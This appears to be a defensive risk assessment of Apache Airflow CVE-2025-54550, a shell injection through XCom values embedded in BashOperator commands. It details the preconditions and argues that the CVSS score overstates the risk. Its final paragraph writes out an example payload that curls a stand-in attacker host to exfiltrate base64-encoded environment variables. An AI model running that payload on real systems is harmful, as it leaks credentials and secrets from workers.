Apache Airflow CVE-2025-54550

Exploitation requires all three of the following specific conditions simultaneously: (1) the Airflow deployment must contain at least one production DAG that replicates the unsafe XCom-to-BashOperator string interpolation pattern from the example_xcom documentation - directly embedding XComArg references via f-strings into BashOperator bash_command strings rather than via environment variables; (2) the attacker must be an authenticated Airflow UI user with permission to read and modify XCom values for those specific DAGs and task instances; and (3) the BashOperator task using the injected XCom value must execute after the XCom modification. Exploitation is further limited by the fact that XCom modification is a privileged UI capability restricted to highly trusted users per Apache's own characterization, and the vulnerable pattern does not exist in any default Airflow installation - it must have been deliberately copied from documentation into custom production code.

The submitted CVSS score of 8.1 (AV:N/AC:L/PR:L) substantially overstates real-world risk for this vulnerability. Three compounding constraints limit actual exposure: the vulnerable code is example documentation, not production code shipped in Airflow releases; Apache explicitly states example_dags are not intended for production use; and exploitation requires a UI user who already holds XCom modification privileges - a role Apache characterizes as 'highly trusted.' EPSS at 0.03% (7th percentile) and SSVC Exploitation: none confirm no observed or reported exploitation in the wild. No public exploit code exists. Even a mid-sized data engineering team in malbork would face this risk only if a developer had specifically replicated the unsafe BashOperator pattern from documentation into their own production DAGs. The SSVC Technical Impact: total metric reflects the ceiling of what worker-level code execution could achieve, but this is conditioned entirely on a non-default deployment scenario. This should be treated as a documentation/pattern hygiene finding rather than an emergency patching priority for most organizations.

An authenticated Airflow UI user with XCom write access navigates to the XCom interface and modifies a value to contain a shell injection payload such as $(curl attacker.example/exfil?d=$(env | base64)). When the production DAG's downstream BashOperator task next executes, Airflow templates the malicious XCom value directly into the bash command string, causing the injected command to run on the Airflow worker with the worker process's OS privileges. No public exploit code exists; this requires both the vulnerable pattern in production and the attacker holding privileged UI access.